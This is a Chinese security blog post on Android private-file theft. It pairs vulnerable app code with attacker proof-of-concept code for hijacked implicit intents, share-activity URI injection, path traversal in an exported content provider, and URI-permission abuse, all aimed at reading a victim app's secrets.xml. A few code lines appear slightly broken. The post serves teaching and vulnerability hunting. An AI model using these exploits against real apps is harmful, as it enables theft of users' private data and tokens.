Android 私有文件窃取风险挖掘

admin 2024年11月3日22:30:32评论16 views字数 9925阅读33分5秒阅读模式

Android 开发人员需要处理大量文件,并与其他应用程序交换文件,例如获取照片、图像或用户数据。开发人员经常会犯一些典型错误,这些错误会让攻击者访问应用程序的内部文件,而这些文件存储着敏感数据。本文介绍了开发人员最常犯的错误,并给出了利用这些错误的漏洞Poc。

Android 私有文件窃取风险挖掘

文件类型

众所周知,从Android应用程序的角度来看,文件存储有两种基本类型:公共和私有。

私有文件 位于文件路径 /data/user/0/{package_name} ,其中 0 是 Android 用户的 ID。只有应用程序本身和系统用户 root才能访问它。Android 的安全模型允许您将令牌和用户数据等秘密信息存储在私有目录。         
公共文件 位于 /storage/emulated/0 (或只是 /sdcard )。特定应用程序的公共数据存储在 /storage/emulated/0/Android/data/{package_name} 。新版本的 Android(SDK 29 及更高版本)确实对访问某些目录进行了限制,但同样,存储在此处的每个文件仍应被视为公共文件。它们可以被安装在同一设备上的任何第三方应用程序读取。    

具有相同权限的应用程序 android:sharedUserId可以访问彼此的文件。因此攻击者也可以通过一个应用程序来攻击另一个应用程序。

这意味着,当我们谈论在 Android 上窃取任意文件时,我们通常指的是从应用程序的私有目录中窃取任何文件的能力。

大量文件盗窃攻击依赖于应用程序功能,攻击者可以将私人文件复制到公共目录中,然后读取它们。

隐式Intent

本节将介绍使用标准操作时普遍存在的问题,例如

"android.intent.action.GET_CONTENT"

"android.media.action.IMAGE_CAPTURE"

"android.media.action.VIDEO_CAPTURE"

"android.intent.action.PICK"

"com.android.camera.action.CROP"

这些intent的用处是应用告诉系统,“我不知道也不关心用户安装了哪个文件管理器、摄影应用或媒体文件编辑器,但让其中一个完成我需要的工作,并给我一个指向结果文件的链接”。应用会频繁启动隐式intent来获取内容。例如,选择一个文件附加到聊天消息中或选择用户个人资料的头像。

File SchemeURI 攻击

最明显的攻击方式是返回 file:// 带有文件绝对路径的 URI

漏洞示例    

Android 私有文件窃取风险挖掘    

所有导致漏洞的代码行都已突出显示:

  1. 启动隐式intent

  2. 接收结果 onActivityResult() ,其中 URI 可能受攻击者控制

  3. 将数据复制到攻击者可以访问的公共存储中

Poc示例

文件 AndroidManifest.xml :

<activity android:name=".PickerActivity" android:enabled="true" android:exported="true">    <intent-filter android:priority="999">        <action android:name="android.intent.action.PICK" />        <category android:name="android.intent.category.DEFAULT" />        <data android:mimeType="image/*" />        <data android:mimeType="*/*" />    </intent-filter></activity>

文件 PickerActivity.java :

Plaintext                  
public class PickerActivity extends Activity {                  
protected void onCreate(Bundle savedInstanceState) {                  
super.onCreate(savedInstanceState);                  
                 
StrictMode.setVmPolicy(StrictMode.VmPolicy.LAX);                  
                 
Uri uri = Uri.parse("file:///data/user/0/com.victim/shared_prefs/secrets.xml");                  
setResult(-1, new Intent().setData(uri));                  
finish();                  
}                  
}

默认情况下, FileUriExposedException 如果 file 使用某种方案并且 targetSdkVersion 值为 18 或更高,应用程序就会抛出一个,这会使攻击变得更加困难;但可以通过预先设置配置来规避这些(本地)检查:

Plaintext                  
StrictMode.setVmPolicy(StrictMode.VmPolicy.LAX);        

这里解释下,在 Android 开发中,StrictMode 是一个帮助开发者检测代码中可能存在的性能问题或不当用法的工具。StrictMode 提供了两种策略:

1线程策略 (ThreadPolicy):用于检测主线程中的潜在问题,例如网络请求或磁盘写入操作。

1虚拟机策略 (VmPolicy):用于检测整个应用的潜在问题,比如资源泄漏。

当你调用 StrictMode.setVmPolicy(StrictMode.VmPolicy.LAX); 时,你设置了一个相对“宽松”的虚拟机策略 (VmPolicy)。LAX 是一种“宽松模式”,意思是不会对可能存在的问题(如资源泄漏)进行任何检测或警告。在开发过程中使用这种模式时,StrictMode 不会抛出任何异常或警告。

Content Scheme URI 攻击

另一个常用利用的途径是使用 content 方案和易受攻击的应用程序的本地Content Provider。需要注意的是, 它们不一定需要导出

在 Android 中,即便 ContentProvider 没有明确导出 (exported=false),它在一定条件下也可能被其他应用访问。Content Provider 的访问权限是在每次访问时动态检查的,因此某些情况下,攻击者可以利用漏洞应用间接调用未导出的 Content Provider,从而获得敏感数据的访问权限

攻击手法

滥用授权的中间应用:如果一个中间应用(即目标应用)具有访问敏感 Content Provider 的权限,并且可以与其他应用共享数据,那么攻击者可以利用这个中间应用来间接访问受保护的数据。这种攻击手法被称为“权限委托攻击”。

利用 Intent 和 PendingIntent:在 Android 中,如果目标应用接受特定 Intent 并访问自身的 Content Provider,则攻击者可以构造一个特定的 Intent,并通过目标应用的接口发送 Intent,以便间接访问该 Content Provider 的数据。这种情况下,目标应用的权限被滥用来访问 Content Provider,而攻击者不需要直接的权限。    

Intent 重定向:当易受攻击的应用程序接收到来自外部应用的 Intent 并执行相应操作时,可能会通过 startActivityForResult() 或其他方式将数据返回给攻击者。攻击者可以将 Intent 重定向到自己的组件,从而获取敏感数据

漏洞示例

有一个易受攻击的应用 com.example.vulnerableapp,该应用具有一个未导出的 Content Provider SensitiveProvider,包含敏感信息:

Java                  
        <provider        
android:name=".SensitiveProvider"                  
android:authorities="com.example.vulnerableapp.sensitiveprovider"                  
android:exported="false"                  
android:permission="com.example.vulnerableapp.ACCESS_SENSITIVE_DATA"/>                  
        </provider        

这里,exported="false" 表示此 Content Provider 不对外部应用直接暴露,且 android:permission="com.example.vulnerableapp.ACCESS_SENSITIVE_DATA" 意味着只有具有特定权限的应用才能访问该 Content Provider。但是,如果目标应用内部某个组件有权限访问此 Content Provider,且该组件可以被外部应用控制或利用,那么攻击者可以绕过该限制间接访问数据。

假设 com.example.vulnerableapp 中存在一个公开的 ExportedActivity,其功能是读取敏感数据并通过 Intent 返回结果

Java                  
// ExportedActivity.java 中的代码                  
@Override                  
protected void onCreate(Bundle savedInstanceState) {                  
super.onCreate(savedInstanceState);                  
                 
// 通过 Content Provider 读取敏感数据                  
Uri sensitiveUri = Uri.parse("content://com.example.vulnerableapp.sensitiveprovider/data");                  
Cursor cursor = getContentResolver().query(sensitiveUri, null, null, null, null);                  
String sensitiveData = "";                  
                 
if (cursor != null && cursor.moveToFirst()) {                  
sensitiveData = cursor.getString(cursor.getColumnIndex("sensitive_column"));                  
cursor.close();                  
}                  
                 
// 将读取的数据作为结果返回                  
Intent result = new Intent();                  
result.putExtra("sensitive_data", sensitiveData);                  
setResult(RESULT_OK, result);                  
finish();                  
}                  
       

攻击Poc

Java                  
// 攻击者应用中发起对 ExportedActivity 的调用                  
Intent exploitIntent = new Intent();                  
exploitIntent.setClassName("com.example.vulnerableapp", "com.example.vulnerableapp.ExportedActivity");                  
exploitIntent.setAction("com.example.vulnerableapp.READ_SENSITIVE_DATA");                  
                 
// 启动活动,并等待返回的数据                  
startActivityForResult(exploitIntent, REQUEST_CODE);                  
                 
@Override                  
protected void onActivityResult(int requestCode, int resultCode, Intent data) {                  
if (requestCode == REQUEST_CODE && resultCode == RESULT_OK) {                  
String sensitiveData = data.getStringExtra("sensitive_data");                  
Log.d("Exploit", "Stolen Sensitive Data: " + sensitiveData);                  
}                  
}                  

分享功能Activity

几乎所有处理用户内容的应用(例如具备消息通知及交互的)都可以从外部接收数据。Android 上存在一些特有actions来实现此目的:

"android.intent.action.SEND"    

"android.intent.action.SEND_MULTIPLE"

处理活动从收到的intent中获取 URI 参数 Intent.EXTRA_STREAM ( "android.intent.extra.STREAM" ),通常将其缓存,然后对内容执行某些操作。

漏洞示例

文件 AndroidManifest.xml :

<activity android:name=".ShareActivity" android:enabled="true" android:exported="true">    <intent-filter>        <action android:name="android.intent.action.SEND" />        <action android:name="android.intent.action.SEND_MULTIPLE" />        <category android:name="android.intent.category.DEFAULT" />        <data android:mimeType="image/*" />        <data android:mimeType="*/*" />    </intent-filter></activity>

文件 ShareActivity.java :

Plaintext                  
public class ShareActivity extends Activity {                  
protected void onCreate(Bundle savedInstanceState) {                  
super.onCreate(savedInstanceState);                  
                 
Intent intent = getIntent();                  
String action = intent.getAction();                  
if (Intent.ACTION_SEND.equals(action)) {                  
Uri uri = intent.getParcelableExtra(Intent.EXTRA_STREAM);                  
processUri(uri);                  
} else if (Intent.ACTION_SEND_MULTIPLE.equals(action)) {                  
Listuris = intent.getParcelableArrayListExtra(Intent.EXTRA_STREAM);          
processUris(uris);          
}          
}          
         
private void processUris(Listuris) {          
for (Uri uri : uris) {          
processUri(uri);          
}          
}          
         
private void processUri(Uri uri) {          
File cacheFile = new File(getExternalCacheDir(), "temp");          
copy(uri, cacheFile);          
         
// Do normal stuff          
}          
}
       

攻击Poc:

Plaintext                  
StrictMode.setVmPolicy(StrictMode.VmPolicy.LAX);                  
                 
Intent intent = new Intent(Intent.ACTION_SEND);                  
intent.setClassName("com.victim", "com.victim.ShareActivity");                  
intent.putExtra(Intent.EXTRA_STREAM, Uri.parse("file:///data/user/0/com.victim/shared_prefs/secrets.xml"));                  
startActivity(intent);

可导出的Provider

这是窃取文件最简单、最明显的方式。但在许多应用中仍然会遇到这种情况,允许攻击者访问任意文件。

漏洞示例:

文件 AndroidManifest.xml

<provider android:name=".MyContentProvider" android:authorities="com.victim.myprovider" android:exported="true" />

文件 MyContentProvider.java

Plaintext                  
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {                  
File root = new File(getContext().getFilesDir(), "my_files");                  
File file = new File(root, uri.getPath());                  
return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);                  
}
       

攻击以获取文件访问权限 /data/user/0/com.victim/shared_prefs/secrets.xml

漏洞利用Poc

Plaintext                  
Uri uri = Uri.parse("content://com.victim.myprovider/../../shared_prefs/secrets.xml");                  
try (InputStream inputStream = getContentResolver().openInputStream(uri)) {                  
Log.d("evil", IOUtils.toString(inputStream));                  
} catch (Throwable th) {                  
throw new RuntimeException(th);                  
}

获取对任意Content Provider的访问权限

这种攻击利用 Android 应用开发中的配置错误或不安全的 Intent 处理方式来获取对任意 Content Provider 的访问权限。通常情况下,应用设置了 android:grantUriPermissions="true",并允许其他应用通过带有 Intent.FLAG_GRANT_READ_URI_PERMISSION 或 Intent.FLAG_GRANT_WRITE_URI_PERMISSION 标志的 Intent 请求访问其 Content Provider。攻击者可以利用这一点,通过自定义的 Intent 请求获取受保护的敏感数据

漏洞示例

假设有一个 ContentProvider,它用于存储用户的敏感信息,但开发者错误地配置了它。以下是 AndroidManifest.xml 中的相关配置:

Java                  
        <provider        
android:name=".SensitiveDataProvider"                  
android:exported="false"                  
android:grantUriPermissions="true">                  
        </provider        
                 

在这个例子中,SensitiveDataProvider 不允许外部应用访问,但它允许 URI 权限的授予。假设这个 ContentProvider 提供了访问用户敏感信息的功能(例如,联系人或个人数据)。    

同时存在一个导出的 Activity,它允许外部应用通过 Intent 访问,并能够处理 URI 权限。下面是恶意组件的代码:

Java                  
// 导出的 Activity 代码                  
public class ExportedActivity extends AppCompatActivity {                  
@Override                  
protected void onCreate(Bundle savedInstanceState) {                  
super.onCreate(savedInstanceState);                  
                 
// 接收外部应用传递的 Intent                  
Intent intent = getIntent();                  
Uri uri = intent.getData(); // 获取传递的 URI                  
                 
// 授予外部应用 URI 权限                  
if (uri != null) {                  
grantUriPermission("com.example.attacker", uri, Intent.FLAG_GRANT_READ_URI_PERMISSION);                  
}                  
                 
// 继续进行其他操作                  
// ...                  
}                  
}                  

漏洞Poc

攻击者可以构造一个 Intent 来调用 ExportedActivity,并传递 URI,以获取对 SensitiveDataProvider 的访问。

Java                  
// 恶意应用代码                  
public class AttackerActivity extends AppCompatActivity {                  
@Override                  
protected void onCreate(Bundle savedInstanceState) {                  
super.onCreate(savedInstanceState);                  
                 
// 创建一个 Intent,指向导出的 Activity                  
Intent intent = new Intent();                  
intent.setAction("com.example.provider.ACCESS_DATA"); // 目标导出的 Activity 的 Action                  
intent.setData(Uri.parse("content://com.example.sensitivedata/data")); // 目标 ContentProvider 的 URI                  
intent.addFlags(Intent.FLAG_GRANT_URI_PERMISSION); // 请求 URI 权限                  
                 
// 启动导出的 Activity                  
startActivity(intent);                  
}                  
}                  
                 
       

原文始发于微信公众号(暴暴的皮卡丘):Android 私有文件窃取风险挖掘

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月3日22:30:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Android 私有文件窃取风险挖掘https://cn-sec.com/archives/3350304.html

发表评论

匿名网友 填写信息